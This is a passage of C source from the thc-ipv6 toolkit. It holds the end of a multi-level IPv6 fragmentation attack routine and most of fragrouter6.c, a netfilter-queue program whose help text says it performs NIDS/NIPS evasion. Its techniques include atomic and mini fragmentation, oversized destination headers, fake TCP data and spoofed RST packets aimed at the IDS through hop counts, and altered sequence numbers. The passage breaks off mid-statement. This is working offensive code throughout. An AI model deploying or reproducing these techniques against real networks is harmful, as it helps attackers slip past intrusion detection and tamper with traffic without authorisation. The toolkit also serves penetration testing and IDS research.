(thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 2: B\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25, 1, 0x3bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 3: B\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 2, 1, 0x3bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 2, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 4: B-last\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 3, 1, 0x3bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 3, 608); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 608)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore curr++; } // tmp if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("Multifragment %d - Level 2\n", count); hdr = (thc_ipv6_hdr *)pkt; if (flood == 0 || curr == 0) printf(" 1: A-first + B-first\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x1aaaa)) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x1bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 2: A-last (B)\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 + 1, 0, 0x1aaaa)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 3: B\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 2, 1, 0x1bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 2, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 4: B-last\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 3, 0, 0x1bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 3, 608); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 608)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore curr++; } // tmp if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("Multifragment %d - Level 3\n", count); hdr = (thc_ipv6_hdr *)pkt; if (flood == 0 || curr == 0) printf(" 1: A-first + B-first + C-first\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x2aaaa)) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x2bbbb)) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x2cccc)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 2: A-last (B/C)\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 + 2, 0, 0x2aaaa)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 3: B-last (C)\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 2 + 1, 0, 0x2bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 2, 200); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 200)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" 4: C-last\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 25 * 3, 0, 0x2cccc)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 200 * 3, 608); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 608)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore curr++; } if (flood == 0 || curr == 0) printf("ATTACK finalisation\n"); if (ping) { if (flood == 0 || curr == 0) printf(" Sending final ping to %s\n", argv[optind + 1]); thc_ping6(interface, src6, dst6, 10, 1); sleep(1); } if (flood == 0 || curr == 0) printf("ATTACK END\n"); return 0; } thc-ipv6-3.8/fragrouter6.c000066400000000000000000001014631376121567700154620ustar00rootroot00000000000000/* * TODO: * send data directly after syn? * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #include "fragrouter6.h" #ifndef POLLRDHUP #define POLLRDHUP 0 #endif struct application_config { log_level_enum log_level; int buffer_size; unsigned short queue_number; nfq_callback * queue_callback; }; extern int debug; extern int do_pppoe; extern int do_hdr_off; extern int do_6in4; extern int do_hdr_vlan; struct application_config config; int exit_from_loop = 0, verbose = 0, mtu = -1; int minifrag = 8, evade_hop = 0, target_hop = 0; unsigned int method = 0; char * interface = NULL, ether[8]; void help(char *prg) { printf("fragrouter6 %s (c) 2020 by %s %s\n\n", VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-dv -f len -e count -t count] INTERFACE EVASION-METHOD\n\n", prg); printf("Options:\n"); printf(" -f len size of mini fragments (option 64, default %d)\n", minifrag); printf(" -e count hop count to the IDS for evading (option 256 & 512)\n"); printf(" -t count hop count to the target that reaches it\n"); // printf(" -d debug mode for the thc-ipv6 library\n"); printf(" -v verbose mode, print all packets processed for evasion\n"); printf("Evasion Methods:\n"); printf(" 0 no manipulation\n"); printf(" 1-31 the number of atomic fragmentation headers to insert\n"); printf( " 32 use destination headers for 1-31 instead of fragmentation " "headers\n"); printf( " 64 fragment each packet to %d byte length pieces (or change with " "-f)\n", minifrag); printf(" 128 a large destination header that fragments the packet\n"); printf( " 256 insert fake TCP data with a hop count just for the IDS (-e)\n"); printf( " 512 insert TCP connection reset packet with a hop count just to the " "IDS (-e)\n"); printf( " 1024 insert fake fragmentation data with a hop count just for the " "IDS (-e)\n"); printf(" 2048 insert faked seq/ack data TCP packet\n"); printf("\n"); printf( "Performs NIDS/NIPS evasion to all defined packets that originate from " "your\nsystem or pass through it. "); printf( "All evasion methods can be combined (add together)\nwith the exception " "that only either one of 64 or 128 can be used at once.\nOption 1024 can " "be used with 1..31 and 64. "); printf( "The evasion methods are processed in the following order: 256, 512, " "2048, 1..31/33..63 then either 64 or 128 then 1024.\n"); printf( "Requires to set up ip6table rules that jump to NFQUEUE, use " "fragrouter6.sh\nwhich is a wrapper for ip6tables and fragrouter6!\n"); exit(0); } void log_message(log_level_enum log_level, char *message, ...) { FILE *os = log_level == LOG_ERROR ? stderr : stdout; int error_number = errno; if (log_level < config.log_level) { return; } // Check if message is null to put only a new line if (message == NULL) { fprintf(os, "\n"); return; } // Initialize dynamic argument list va_list ap; va_start(ap, message); vfprintf(os, message, ap); fprintf(os, "\n"); // Check if error_number is non zero and log_level is LOG_ERROR; if (log_level == LOG_ERROR && error_number != 0) { fprintf(os, "Error %d: %s\n", error_number, strerror(error_number)); } va_end(ap); } // Return values: == 0 => ok, >0 => soft error, <0 => hard error int netfilter_queue_callback(struct nfq_q_handle *hq, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data) { unsigned int len, id, temp_id; unsigned char * packet, payload[2048], buf[2048], *dstmac; struct ip6_hdr *packet_header; char ip_addr_source[INET6_ADDRSTRLEN], ip_addr_destination[INET6_ADDRSTRLEN]; int i, j, k, proto, drop = 0, buflen = 0; thc_ipv6_hdr hdr; // int differ = 0 // Get packet header struct nfqnl_msg_packet_hdr *hp = nfq_get_msg_packet_hdr(nfad); // Check for null pointer if (hp != NULL) { // Get packet id id = ntohl(hp->packet_id); if (verbose) log_message(LOG_DEBUG, "Packet received: %u", id); // Get payload and ip header len = nfq_get_payload(nfad, (unsigned char **)&packet); packet_header = (struct ip6_hdr *)packet; proto = packet_header->ip6_ctlun.ip6_un1.ip6_un1_nxt; // packet we generated raw? class value of 1 if ((packet[1] & 240) == 16) { packet[1] = packet[1] & 15; nfq_set_verdict(hq, id, NF_ACCEPT, len, packet); if (verbose) log_message(LOG_DEBUG, "Own generated packet passed on.\n"); } if (verbose) { // Get source and destination addresses (IP) inet_ntop(AF_INET6, &packet_header->ip6_src, ip_addr_source, INET6_ADDRSTRLEN); inet_ntop(AF_INET6, &packet_header->ip6_dst, ip_addr_destination, INET6_ADDRSTRLEN); log_message(LOG_DEBUG, " Packet Length: %u", len); log_message(LOG_DEBUG, " Payload Length: %u", htons(packet_header->ip6_ctlun.ip6_un1.ip6_un1_plen)); log_message(LOG_DEBUG, " Hop Count: %u", packet_header->ip6_ctlun.ip6_un1.ip6_un1_hlim); // Print out ip packet protocol switch (proto) { case IP_PROTOCOL_ICMP6: log_message(LOG_DEBUG, " Protocol: ICMPv6"); break; case IP_PROTOCOL_ICMP: log_message(LOG_DEBUG, " Protocol: ICMP (1)"); break; case IP_PROTOCOL_IGMP: log_message(LOG_DEBUG, " Protocol: IGMP (2)"); break; case IP_PROTOCOL_TCP: log_message(LOG_DEBUG, " Protocol: TCP (6)"); break; case IP_PROTOCOL_UDP: log_message(LOG_DEBUG, " Protocol: UDP (17)"); break; default: log_message(LOG_DEBUG, " Protocol: UNKNOWN (%d)", packet_header->ip6_ctlun.ip6_un1.ip6_un1_nxt); break; } // Print out source and destination ip log_message(LOG_DEBUG, " Source IP: %s", ip_addr_source); log_message(LOG_DEBUG, " Destination IP: %s", ip_addr_destination); // Check hook type switch (hp->hook) { // Preliminary checks (checksum) case NF_IP_PRE_ROUTING: log_message( LOG_DEBUG, " Hook: packet received from the box (PRE ROUTING)"); break; // If the packet is for the current box case NF_IP_LOCAL_IN: log_message( LOG_DEBUG, " Hook: packet is for the box (LOCAL INPUT)"); break; // If the packet is for another interface case NF_IP_FORWARD: log_message( LOG_DEBUG, " Hook: packet is for another interface (FORWARD)"); break; // If the packet come from a process case NF_IP_LOCAL_OUT: log_message( LOG_DEBUG, " Hook: packet come from the box (LOCAL OUT)"); break; // Packet is ready to hit the wire case NF_IP_POST_ROUTING: log_message(LOG_DEBUG, " Hook: packet is going out (POST ROUTING)"); break; // This is impossible, but cover it isin't give more security! default: log_message( LOG_WARNING, " Hook: unknown hook passed by netfilter (%d)", hp->hook); break; } } // Manipulate the packet if (len >= 48 && method > 0 && method != 32 && method != 1024) { temp_id = id << 8; hdr.pkt = buf; memcpy(payload, packet, len); if (target_hop > 0) payload[7] = target_hop; // correct order: 256, 512, 2048, 1..31, 64 | 128, 1024 // Fake TCP Data Hop Count insertion if ((method & 256) == 256) { // check if its TCP with data i = 0; j = 40; if (payload[6] == NXT_TCP) i = 40; else { while (i == 0 && len > j + 8 && (payload[j] == NXT_DST || payload[j] == NXT_HBH || payload[j] == NXT_FRAG || payload[j] == NXT_ROUTE)) j += (payload[j + 1] + 1) * 8; if (len > j + 8 && payload[j] == NXT_TCP) { j += (payload[j + 1] + 1) * 8; if (len > j + 20) i = j; } } if (i >= 40 && len > i + 20 && len > i + (payload[i + 12] >> 2)) { // OK, it is TCP and it has data! if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memcpy(buf, dstmac, 6); // create 2nd packet memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, len); buf[14 + 7] = evade_hop; k = len - i - (payload[i + 12] >> 2); // TCP data size // printf("k = len %d - i %d - payload[i+12] >> 2 %d\n", len, i, // (payload[i + 12] >> 2)); printf("i %d + k %d\n", i, k); for (j = 0; j < k; j++) buf[14 + len - k + j] = 'X'; // future: random buf[14 + i + 16] = 0; // reset checksum buf[14 + i + 17] = 0; j = checksum_pseudo_header(payload + 8, payload + 24, NXT_TCP, buf + 14 + i, len - i); buf[14 + i + 16] = j / 256; // set new TCP checksum buf[14 + i + 17] = j % 256; buflen = 14 + len; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); // send packet } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination " "%s, dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } } // Connection reset spoofing and hop count adaption if ((method & 512) == 512) { i = 0; j = 40; if (payload[6] == NXT_TCP) i = 40; else { while (i == 0 && len > j + 8 && (payload[j] == NXT_DST || payload[j] == NXT_HBH || payload[j] == NXT_FRAG || payload[j] == NXT_ROUTE)) j += (payload[j + 1] + 1) * 8; if (len > j + 8 && payload[j] == NXT_TCP) { j += (payload[j + 1] + 1) * 8; if (len > j + 20) i = j; } } if (i >= 40 && len >= i + 20 && payload[i + 13] != TCP_SYN) { // OK, it is TCP and it is not the initial SYN packet! if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memcpy(buf, dstmac, 6); // create 2nd packet memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, i + 20); buf[14 + 4] = 0; buf[14 + 5] = 20; // payload size = 20 buf[14 + 7] = evade_hop; buf[14 + i + 12] = 0x50; // tcp hdr size = 20 buf[14 + i + 13] = TCP_RST; memset(buf + 14 + i + 14, 0, 6); // reset checksum, window+urg ptr j = checksum_pseudo_header(payload + 8, payload + 24, NXT_TCP, buf + 14 + i, 20); buf[14 + i + 16] = j / 256; // set new TCP checksum buf[14 + i + 17] = j % 256; buflen = 14 + 40 + 20; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); // send packet } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination " "%s, dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } } // Connection reset spoofing and hop count adaption if ((method & 2048) == 2048) { i = 0; j = 40; if (payload[6] == NXT_TCP) i = 40; else { while (i == 0 && len > j + 8 && (payload[j] == NXT_DST || payload[j] == NXT_HBH || payload[j] == NXT_FRAG || payload[j] == NXT_ROUTE)) j += (payload[j + 1] + 1) * 8; if (len > j + 8 && payload[j] == NXT_TCP) { j += (payload[j + 1] + 1) * 8; if (len > j + 20) i = j; } } // send fake seq / ack values if (i >= 40 && len >= i + 20 && payload[i + 13] != TCP_SYN) { // OK, it is TCP and it is not the initial SYN packet! if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memcpy(buf, dstmac, 6); // create 2nd packet memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, len); // seq if ((unsigned char)buf[14 + i + 7] < 240) buf[14 + i + 7] += 16; else if ((unsigned char)buf[14 + i + 6] < 255) { buf[14 + i + 6]++; buf[14 + i + 7] = 0; } else if ((unsigned char)buf[14 + i + 5] < 255) { buf[14 + i + 5]++; memset(buf + 14 + i + 6, 0, 2); } else if ((unsigned char)buf[14 + i + 4] < 255) { buf[14 + i + 5]++; memset(buf + 14 + i + 5, 0, 3); } else memset(buf + 14 + i + 4, 0, 4); // ack if ((unsigned char)buf[14 + i + 11] < 240) buf[14 + i + 11] += 16; else if ((unsigned char)buf[14 + i + 10] < 255) { buf[14 + i + 10]++; buf[14 + i + 11] = 0; } else if ((unsigned char)buf[14 + i + 9] < 255) { buf[14 + i + 9]++; memset(buf + 14 + i + 10, 0, 2); } else if ((unsigned char)buf[14 + i + 8] < 255) { buf[14 + i + 9]++; memset(buf + 14 + i + 9, 0, 3); } else memset(buf + 14 + i + 8, 0, 4); // we only fix the checksum if we have evading set if (evade_hop) { buf[14 + 7] = evade_hop; memset(buf + 14 + i + 14, 0, 6); // reset checksum, window+urg ptr j = checksum_pseudo_header(buf + 14 + 8, buf + 14 + 24, NXT_TCP, buf + 14 + i, len - i); buf[14 + i + 16] = j / 256; // set new TCP checksum buf[14 + i + 17] = j % 256; } buflen = 14 + len; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); // send packet } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination " "%s, dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } } // 1..31 atomic fragmentation headers if ((method & 31) > 0) { int proto_tmp; j = (method & 31); if ((method & 32) == 0) proto_tmp = IP_PROTOCOL_FRAG; else proto_tmp = IP_PROTOCOL_EH_DST; memcpy(buf, payload, 40); memset(buf + 40, 0, j * 8); memcpy(buf + 40 + j * 8, payload + 40, len - 40); for (i = 0; i < j; i++) { ++temp_id; if (temp_id % 64 == 0) ++temp_id; buf[40 + i * 8] = proto_tmp; if ((method & 32) == 0) memcpy(buf + 40 + i * 8 + 4, (char *)&temp_id, 4); else { buf[40 + i * 8 + 2] = temp_id % 64; buf[40 + i * 8 + 3] = 4; } } buf[40 + (j - 1) * 8] = proto; len += j * 8; // fix ipv6 header buf[4] = (len - 40) / 256; buf[5] = (len - 40) % 256; buf[6] = proto_tmp; // set new payload header memcpy(payload, buf, len); proto = proto_tmp; } // 1240 byte DST EH if ((method & 128) == 128) { ++temp_id; int rhdrsize = 8 + ((method & 31) * 8); int dhdrsize = (((1240 - rhdrsize) / 8) * 8); if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memset(buf, 0, sizeof(buf)); memcpy(buf, dstmac, 6); memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, 40); // buf[14 + 1] = 16 + (payload[1] & 15); // set class == 1 buf[14 + 6] = IP_PROTOCOL_FRAG; if (target_hop > 0) buf[14 + 7] = target_hop; buf[14 + 4] = (dhdrsize + 8) / 256; // packet length buf[14 + 5] = (dhdrsize + 8) % 256; // packet length (1240) buf[14 + 40] = IP_PROTOCOL_EH_DST; memset(buf + 14 + 41, 0, dhdrsize); buf[14 + 40 + 3] = 1; memcpy(buf + 14 + 40 + 4, (char *)&temp_id, 4); buf[14 + 40 + 8] = proto; // nxt header buf[14 + 40 + 9] = (dhdrsize / 8); // dhdrsize + 8, we send dhdrsize in this part buflen = 14 + 40 + rhdrsize + dhdrsize; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); memcpy(buf, payload, 40); memset(buf + 40, 0, 16); memcpy(buf + 40 + 16, payload + 40, len - 40); buf[40] = IP_PROTOCOL_EH_DST; buf[42] = dhdrsize / 256; // offset buf[43] = (dhdrsize % 256); // offset, no more frags memcpy(buf + 44, (char *)&temp_id, 4); len += 16; // fix ipv6 header buf[6] = IP_PROTOCOL_FRAG; buf[4] = (len - 40) / 256; buf[5] = (len - 40) % 256; buf[6] = IP_PROTOCOL_FRAG; // set new payload header memcpy(payload, buf, len); } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination %s, " "dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } // Mini fragmentation mode (but only if the payload is larger than // the minifrag) if (minifrag + 40 < len && (method & 64) == 64) { // neue frag pakete generieren // neue pakete schicken // minifrag = 8 int tmp_hop, tmp_minifrag = minifrag; drop = 1; ++temp_id; i = (method & 31); if (i > 0 && proto == IP_PROTOCOL_FRAG) tmp_minifrag += i * 8; j = tmp_minifrag + 8; if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memcpy(buf, dstmac, 6); memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, 40); // buf[14 + 1] = 16 + (payload[1] & 15); // set class == 1 buf[14 + 6] = IP_PROTOCOL_FRAG; if (target_hop > 0) buf[14 + 7] = target_hop; memset(buf + 14 + 40, 0, 8); buf[14 + 40] = proto; memcpy(buf + 14 + 40 + 4, (char *)&temp_id, 4); buf[14 + 4] = j / 256; buf[14 + 5] = j % 256; k = ((len - 40) / tmp_minifrag); if ((len - 40) % tmp_minifrag > 0) k++; /* printf("%d: \n", len); for (debug = 0; debug < len; debug++) { if (debug % 16 == 0) printf("%d:", debug); if (debug == 40)printf("\n"); printf("%02x", (unsigned char)payload[debug]); if (debug % 16 == 15) printf("\n"); }printf("\n");debug=0; printf("tmp_minifrag: %d\n", tmp_minifrag); printf("X %02x\n", payload[40 + 15 + 16]); */ tmp_hop = buf[14 + 7]; for (i = 1; i <= k; i++) { if (i == k && (len - 40) % tmp_minifrag > 0) { j = 8 + ((len - 40) % tmp_minifrag); // printf("last j: 8 + (%d - 40 %% %d) = %d\n", len, tmp_minifrag, // j); buf[14 + 4] = j / 256; buf[14 + 5] = j % 256; } buf[14 + 40 + 2] = ((i - 1) * tmp_minifrag) / 256; buf[14 + 40 + 3] = ((i - 1) * tmp_minifrag) % 256; if (i < k) buf[14 + 40 + 3]++; buflen = 14 + 40 + j; hdr.pkt_len = buflen; if ((method & 1024) == 1024) { buf[14 + 7] = evade_hop; memset(buf + 14 + 40 + 8, 'X', j - 8); memcpy(hdr.pkt, buf, buflen); // cant overflow thankfully thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); buf[14 + 7] = tmp_hop; } memcpy(buf + 14 + 40 + 8, payload + 40 + ((i - 1) * tmp_minifrag), j - 8); memcpy(hdr.pkt, buf, buflen); // cant overflow thankfully thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); } } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination %s, " "dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } // fake fragmentation data if ((method & 1024) == 1024 && method > 1024 && drop == 0) { i = 0; j = 0; if (payload[6] == IP_PROTOCOL_FRAG) { while ((40 + i * 8) < len && payload[40 + i * 8] == IP_PROTOCOL_FRAG) i++; j = 40 + i * 8; if (j + 11 >= len) j = 0; } if (j) { // j points to the last fragment hdr start if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { memcpy(buf, dstmac, 6); // create 2nd packet memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, len); buf[14 + 7] = evade_hop; for (i = 14 + j + 8 + 2; i < len + 14; i++) // we keep the first two bytes of the original packet buf[i] = 'X'; // random in the future // checksum correction for udp/tcp/icmpv6? buflen = len + 14; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); // send packet } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination " "%s, dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } } // foo if ((method & 65536) == 65536) { drop = 1; printf("not done yet 65536\n"); } } // END OF EVASION OPTIONS if (len > mtu && drop != 1) { if (buf[6] == IP_PROTOCOL_FRAG) { if ((dstmac = thc_get_mac(interface, NULL, payload + 24)) != NULL) { i = mtu - 40; payload[4] = i / 256; payload[5] = i % 256; if ((payload[40 + 3] & 1) == 1) // was the more-fragments bit set? j = 1; else { // no, so we have to set it j = 0; payload[40 + 3] += 1; } memcpy(buf, dstmac, 6); // create 2nd packet memcpy(buf + 6, ether, 8); memcpy(buf + 14, payload, 48); memcpy(buf + 14 + 48, payload + mtu, len - mtu); i = 8 + len - mtu; buf[14 + 4] = i / 256; // set ipv6 data len buf[14 + 5] = i % 256; k = buf[14 + 40 + 2] * 256 + buf[14 + 40 + 3] - 1; // original offset k += mtu - 40 - 8 + j; // add new offset (plus keep original more-fragment bit status buf[14 + 40 + 2] = k / 256; // set new frag offset buf[14 + 40 + 3] = k % 256; buflen = 14 + 40 + 8 + len - mtu; hdr.pkt_len = buflen; thc_send_pkt(interface, (unsigned char *)&hdr, &buflen); // send packet len = mtu; // send only up to len } else { dstmac = thc_ipv62notation(payload + 24); fprintf(stderr, "Error: could not get an Ethernet address to destination %s, " "dropping packet :-(\n", dstmac); drop = 1; } free(dstmac); } else { drop = 1; fprintf(stderr, "BUG :: packet is larger than MTU but has no atomic fragment " "header - WTF? dropped!\n"); } } // Netfilter supported verdicts: // - NF_DROP, drop the packet; don't continue traversal; // - NF_ACCEPT, continue traversal as normal; // - NF_STOLEN, I've taken over the packet; don't continue traversal; // - NF_QUEUE, queue the packet (usually for userspace handling); // - NF_REPEAT, call this hook again. // - NF_STOP, stop the packet (???) if (drop == 0) nfq_set_verdict(hq, id, NF_ACCEPT, len, payload); else nfq_set_verdict(hq, id, NF_DROP, 0, NULL); // Send a null message to put a break if (verbose) log_message(LOG_DEBUG, NULL); } else { log_message(LOG_WARNING, "Unable to read packet header"); return 1; } return 0; } int netfilter_queue_startup(struct nfq_handle **h, struct nfq_q_handle **hq) { // Try to open netfilter queue handle if ((*h = nfq_open()) == NULL) { *h = 0; log_message(LOG_ERROR, "Error while opening netfilter queue"); return EXITCODE_NFQ_OPEN_FAILED; } log_message(LOG_DEBUG, "Netfilter queue opened successfully"); if (nfq_unbind_pf(*h, AF_INET6) != 0) { log_message( LOG_WARNING, "Failed to unbind AF_INET6 from netfilter queue, not a critical error"); } // Bind the obtained nf queue handle to AF_INET6 protocol if (nfq_bind_pf(*h, AF_INET6) != 0) { log_message(LOG_ERROR, "Error while binding AF_INET6 protocol to handle"); return EXITCODE_NFQ_BIND_FAILED; } log_message(LOG_DEBUG, "Netfilter queue will read only IPv6 packets"); // Hook a queue if ((*hq = nfq_create_queue(*h, config.queue_number, config.queue_callback, NULL)) == NULL) { // Reset hq *hq = 0; log_message(LOG_ERROR, "Error while attaching to netfilter queue"); return EXITCODE_NFQ_CREATEQUEUE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue attached successfully"); // Set copy mode for patckes if (nfq_set_mode(*hq, NFQNL_COPY_PACKET, 0xffff) != 0) { log_message(LOG_ERROR, "Error while setting copy packet mode"); return EXITCODE_NFQ_SETMODE_FAILED; } log_message(LOG_DEBUG, "Netfilter copy packet mode set successfully"); // All goes well return EXITCODE_OK; } int netfilter_queue_loop(struct nfq_handle **h, struct nfq_q_handle **hq) { int buffer_size = sizeof(char) * config.buffer_size; char *buffer = (char *)malloc(buffer_size); int poll_events; int recv_length; // Check if buffer was allocated if (buffer == NULL) { log_message(LOG_ERROR, "Error while allocating buffer for %d bytes for netfilter " "queue messages", sizeof(char) * config.buffer_size); return EXITCODE_NO_MEMORY; } // Set memory to zero memset(buffer, 0, buffer_size); // Set exit from main loop switch exit_from_loop = 0; // Initialize poll struct struct pollfd *fds = malloc(sizeof(struct pollfd)); // Get netqueue netlink socket fd int fd = nfq_fd(*h); // Loop packets received by the queue do { memset(fds, 0, sizeof(struct pollfd)); fds->fd = fd; fds->events = POLLIN | POLLRDHUP; // Use poll to check if there is stuff to read from netfilter socket if ((poll_events = poll(fds, 1, 50)) < 0) { // Verifica se l'errore ? di tipo 4 e se ? stata richiesta l'uscita // dal loop perch? in quel caso non va stampato nessun errore if (errno == 4 && exit_from_loop == 1) { // do nothing } else { // Advise the user log_message(LOG_ERROR, "Poll error"); // Set exit from loop switch exit_from_loop = 